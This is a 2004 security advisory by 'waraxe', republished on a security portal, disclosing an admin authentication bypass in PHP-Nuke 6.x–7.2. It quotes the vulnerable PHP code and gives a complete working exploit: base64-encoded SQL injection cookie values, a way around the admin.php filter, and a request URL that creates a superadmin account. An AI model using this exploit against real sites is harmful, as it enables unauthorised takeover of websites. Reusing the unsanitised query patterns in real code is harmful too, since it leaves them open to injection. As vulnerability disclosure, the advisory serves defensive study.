Waraxe IT Security Portal
Login or Register
July 27, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 227
Members: 0
Total: 227
Full disclosure
CyberDanube Security Research 20240722-0 | Multiple Vulnerabilities in Perten/PerkinElmer ProcessPlus
[KIS-2024-06] XenForo <= 2.2.15 (Template System) Remote Code Execution Vulnerability
[KIS-2024-05] XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
[waraxe-2004-SA#018] - Admin-level authentication bypass in phpnuke 6.x-7.2





Author: Janek Vind "waraxe"
Date: 12. April 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=18


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it`s free of charge, easy to install and has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This time we will try to create superadmin account without any authentication at all.
First, let's look at original code in auth.php line 48:


$admintest = 0;

if(isset($admin) && $admin != "") {
$admin = base64_decode($admin);
$admin = explode(":", $admin);
$aid = "$admin[0]";
$pwd = "$admin[1]";


Again we can see, that base64decoded variable "admin" from cookie will be exploded to
components - admin id and password's md5 hash. As alway with base64 encode/decode
operation, care must by taken with special symbols, like single quotes. Before using
the base64decoded information, addslashes() function must be used. But let's look at
auth.php code further:


if ($aid=="" || $pwd=="") {
$admintest=0;
echo "<html>
";
echo "<title>INTRUDER ALERT!!!</title>
";
echo "<body bgcolor="#FFFFFF" text="#000000">

<br><br><br>

";
echo "<center><img src="images/eyes.gif" border="0"><br><br>
";
echo "<font face="Verdana" size="+4"><b>Get Out!</b></font></center>
";
echo "</body>
";
echo "</html>
";
exit;
}
$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'";
if (!($result = $db->sql_query($sql))) {
echo "Selection from database failed!";
exit;
} else {

$row = $db->sql_fetchrow($result);
if($row[pwd] == $pwd && $row[pwd] != "") {
$admintest = 1;
}
}


So, unsanitaized variable $aid is used in sql query - classical sql injection case.
It's time to practical work - let's try to use $admin variable through GET request,
because it's more easy than using of the cookies. Let's construct "cookie" like this:

x'%20OR/*:y

which will be after base64encoding eCcgT1IvKjp5
If we make request like http://localhost/nuke71/admin.php?admin=eCcgT1IvKjp5
then we have blank screen with short message: "die". Hmm, wtf? Nothing special ;)
Here it is, this little filtering code, in admin.php line 16:

if (preg_match("/?admin/", "$checkurl")) {
echo "die";
exit;

This filter suxx, coz we can use urlencoding or POST or COOKIE variable. But I suggest
using of the even simple method - additional parameter:

http://localhost/nuke71/admin.php?foo=bar&admin=eCcgT1IvKjp5

and you can see "Selection from database failed!". Bingo! We have now proof of the working
sql injection. We can use this for "blind fishing" and try to get from database admin's
username and password's md5 hash, but let's try in this time to bypass the authentication at all.
Let's move forward - creating of the additional superadmin's account goes through url like this:

http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1

and the "workhorse" is authors.php from /admin/modules/ directory. Authentication goes through
multiple steps. First, like we saw before, auth.php is required by admin.php and if we want to
bypass this authentication step, we must use UNION functionality, constructing "cookie" like this:

x'%20UNION%20SELECT%201/*:1

which gives to us after base64encode operation the string eCcgVU5JT04gU0VMRUNUIDEvKjox .

As we can see, in first authentication step in auth.php script, pwd from database is pulled out, but
because we use UNION method, we can fake the pwd to be "1". If we look at "cookie", after the ":", we
see, that this pwd is "1" too. So comparing those two strings gives equality and we have bypassed successfully
the first authentication step.
Next step is located in the beginning of the authors.php script:

$aid = trim($aid);
$result = sql_query("select radminsuper from ".$prefix."_authors where aid='$aid'", $dbi);
list($radminsuper) = sql_fetch_row($result, $dbi);
if ($radminsuper==1) {
...
}else{
echo "Access Denied";
}

Because we have "poisoned" the $aid variable with single quote and UNION stuff, the variable $radminsuper
will have value "1" and the second authentication step is bypassed now successfully too.

Next we have in authors.php code like this:



case "AddAuthor":
$add_aid = substr("$add_aid", 0,25);
$add_name = substr("$add_name", 0,25);
$add_pwd = substr("$add_pwd", 0,12);
if (!($add_aid && $add_name && $add_email && $add_pwd)) {
...
}
$add_pwd = md5($add_pwd);
$result = sql_query("insert into ".$prefix."_authors values ('$add_aid', '$add_name', '$add_url', '$add_email', '$add_pwd', '0', '$add_radminarticle',
'$add_radmintopic','$add_radminuser','$add_radminsurvey','$add_radminsection','$add_radminlink','$add_radminephem','$add_radminfaq','$add_radmindownload','$add_radminreviews','$add_radminnewsletter','$add_radminforum','$add_radmincontent','$add_radminency','$add_radminsuper','$add_admlanguage')", $dbi);
if (!$result) {
return;
}
Header("Location: admin.php?op=mod_authors");
break;



As we can see, no more authentication is used, so it's time to make final test for exploit:


http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox


If all went normally, you can now login as superadmin with username "waraxe2" and password "coolpass".

Mission complete!



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (22882 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
Cybercrime news
Global Cops Power Down World's Most Prolific DDoS Dealership
Malware Scammers Gearing Up For 2024 Summer Olympics
FIN7 Is Peddling EDR-Nerfing Malware To Ransomware Operators
Ransomware Continues To Pile On Costs For Critical Infrastructure Victims
Rite Aid Says Hack Impacts 2.2 Million People
State, Local Governments Facing Deluge Of Phishing Attacks
Avast Secretly Gave DoNex Ransomware Decryptors To Victims
Hackers Leak Alleged Taylor Swift Ticket Data To Extort Ticketmaster
Crypto Hacking Thefts Double To 1.4 Billion In First Half Of 2024
Ransomware Locks Credit Union Users Out Of Bank Accounts
Mac Users Served Info Stealer Malware Through Google Ads
Deadline Looms For Alleged LockBit Extortion Over Feds Of 33TB Of Data
Cyber Attack Compromised Indonesian Datacenter, Ransom Sought
CDK Global Begins To Restore Systems After Cyber Attack Hits Thousands Of Retailers
Ransomware Group Exploits PHP Vulnerability Days After Disclosure
GitHub Phishing Campaign Wipes Repos, Extorts Victims
Ransomware Gangs Are Adopting More Brutal Tactics Amidst Crackdowns
Security Industry Has RaaS Model Wrong, Says Expert
Ransomware Attack Disrupting London Hospitals
Cybercrooks Get Cozy With BoxedApp To Dodge Detection
OpenAI Report Reveals Threat Actors Using ChatGPT In Influence Operations
Law Enforcement Operation Takes Aim At An Often Overlooked Cybercrime Lynchpin
Best Buy / Geek Squad Most Impersonated By Scammers In 2023
New Ransomware Uses BitLocker To Encrypt Victim Data
London Drugs Waiting On LockBit's Next Move
Hacker news
Network Of 3,000 GitHub Accounts Used For Malware Distribution
KnowBe4 Hires Fake North Korean IT Worker, Catches New Employee Planting Malware
Hackers Bypass Windows SmartScreen Flaw To Launch Malware
Two Russians Sanctioned Over Cyberattacks On US Critical Infrastructure
Suspected Scattered Spider Suspect Arrested In UK
North Korea May Have Hacked Crypto Exchange WazirX
MarineMax Notifying 123,000 Of Data Breach
Malware Scammers Gearing Up For 2024 Summer Olympics
Vulnerability In Cisco Smart Software Manager Lets Attacker Change Any User Password
FIN7 Is Peddling EDR-Nerfing Malware To Ransomware Operators
Iran Phishes Israeli Orgs With Custom BugSleep Backdoor
Ransomware Continues To Pile On Costs For Critical Infrastructure Victims
Rite Aid Says Hack Impacts 2.2 Million People
APT Exploits Windows Zero-Day To Execute Code Via Disabled Internet Explorer
Trojan Source Flaw Could Result In Covert App Poisoning
Infoseccers Claim Squarespace Migration Linked To DNS Hijackings At Web3 Firms
5 Questions To Ask About The Latest News Surrounding The AT&T Breach
ZDI Shames MS For Yet Another Coordinated Vuln Disclosure Snafu
Data Of Millions Of mSpy Customers Leaked Online
OpenSSH Bug Leaves RHEL And RHELatives Vulnerable
China's APT41 Crew Adds A Stealthy Malware Loader And Fresh Backdoor To Its Toolbox
Millions Impacted By Breach At Advance Auto Parts
Gay Furry Hackers Say They Have Disbanded After Raiding Project 2025's Heritage Foundation
State, Local Governments Facing Deluge Of Phishing Attacks
Threat Actors Exploited Windows 0-Day For More Than A Year Before Microsoft Fixed It
Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.109 Seconds